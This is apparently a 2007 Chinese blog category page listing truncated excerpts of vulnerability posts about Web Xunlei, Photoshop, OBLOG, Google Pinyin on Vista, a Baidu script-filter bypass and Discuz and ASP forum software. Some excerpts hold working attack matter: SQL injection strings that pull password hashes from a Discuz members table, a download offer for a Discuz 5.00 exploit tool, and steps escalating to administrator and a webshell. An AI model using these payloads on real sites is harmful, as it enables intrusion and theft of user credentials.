您正在查看 "最新漏洞" 分类下的文章
2007年11月08日 星期四 05:57 P.M.
2007年06月02日 星期六 04:02 P.M.
一、事件分析：
DSW Lab AVERT小组监测到一个高度危险讯雷漏洞被曝光，该漏洞发生在Web迅雷的一个控件上，当安装了Web迅雷的用户在浏览黑客精心构造的包含恶意代码的网页后，会下载任意程序在用户系统上以当前用户上下文权限运行。
Web迅雷1.7.3.109版之前的版本均受影响。
|
2007年05月23日 星期三 07:16 P.M.
2007年04月28日 星期六 09:23 A.M.
据国外媒体报道，漏洞评估公司Secunia发布警告说近期的Photoshop版本存在一个高危级别的漏洞，恶意人士可利用这个漏洞发动对用户机器的远程攻击。此漏洞影响范围涉及到Adobe Photoshop Creative Suite 3和Photoshop CS2。 Photoshop在处理一些做过手脚的位图文件时，例如.bmp、.dib和.rle，恶意代码会利用Photoshop的漏洞导致一次缓存溢出攻击，远端的黑客从而可以操纵用户的系统。
|
2007年04月22日 星期日 09:25 P.M.
文章作者：神無月 & 落叶纷飞[S.S.T]
信息来源：邪恶八进制信息安全团队（ www.eviloctal.com）
不废话话了OBLOG4.0跟最新的OBLOG4.5通杀。
漏洞文件：js.asp
看代码
<!--#include file="conn.asp"-->
<!--#include file="inc/class_sys.asp"-->
<%
Dim oblog
set oblo |
2007年04月08日 星期日 11:26 P.M.
2007年04月08日 星期日 09:32 A.M.
谷歌拼音输入法惊天大漏洞，破解Vista易如反掌！
这个漏洞几天前就有人谈起过,不过还不能够确定,现在好了!呵呵,还真出现了问题!
实在没想到啊，实在没想到，自从买了一台预装Vista的品牌电脑后，没想到刚装上谷歌拼音后第二天，电脑就被黑了，而且，最可气的是，黑客还在我桌面上留了详细的入侵方法和一个QQ号。我根据hacker留的方法，我一个完全不懂黑客技术的普通公务员，一次就成功侵入据说是有史以来最安全的Vista操作系统！！！
谷歌和微软，你们丫的可真有才！
第一步：在没有登录的Vista界面，即可 |
2007年04月08日 星期日 09:30 A.M.
昨天，反病毒专家向电脑用户发出警告，WindowsVista用户不要安装Google公司最新发布的谷歌输入法1.0版，否则将造成严重的系统漏洞，黑客和病毒可据此进行多种危险操作。
据分析，黑客可利用该漏洞在无管理员密码的情况下登录系统，获得系统SYSTEM权限，从而完全控制操作系统，可以删除文件、格式化硬盘、安装木马……使Vista的安全机制形同虚设。谷歌输入法刚发布，网上就出现了利用该漏洞攻击Vista系统的“教程”，即使不懂电脑的人，也可以按照这些操作取得管理员的权限。
反病毒专家把该系统漏洞喻为门 |
2007年04月07日 星期六 04:11 P.M.
#文章插入代码过滤绕过漏洞
# discover by Monyer
# http://monyer.cn
漏洞成因：我们知道最经典的过滤绕过为javajavascriptscript，那些不是很高明的程序员仅仅会过滤掉javascript，导致过滤以后的代码依然是javascript。这次百度近乎犯了同样的错误，只不过它过滤的东西是“\”——并且是将所有代 |
2007年04月03日 星期二 11:34 P.M.
不满微软动作的迟缓，独立安全公司eEye推出了针对Windows中一个导致系统崩溃—重启－崩溃漏洞的临时补丁。但微软并不建议应用这些第三方补丁。
|
2007年04月03日 星期二 05:08 P.M.
DZ0day出15位密码的解决方法[转]
from:XIXI
大家都遇到了出来的密码只有15位。。。是不是很讶异啊。。。其实问题在于那个sql语句拉。。。那个查询语句本身只能出15位。。。。现在公布查询语句
0) union select left(password,15),2,0 from cdb_members where uid=1/*
这句得到MD5前15位
0) union select SUBSTRING(password,16,15),2,0 |
2007年03月30日 星期五 08:23 P.M.
2007年03月23日 星期五 07:34 P.M.
2007年03月14日 星期三 11:26 A.M.
DZ5.00漏洞3.9就有人做了动画，但可利用的程序一直被一些牛人拿着，我最近也没有联网也没有时间去测试，在网吧不好试，还好有攻客和fhod给了一些东东，大家可不要用来做坏事！
DZ5.00论坛漏洞利用程序
 点击下载此文件
|
2007年01月25日 星期四 00:51 A.M.
作者：TTFCT
漏洞存在于文件setup.asp中
第一部份
注册－>登陆->发帖->编辑->抓包->改包->提升为管理员->更改后台密码->登陆后台->WEBSHELL
这里我设密码为：ttfct1 ,NC提交 | |
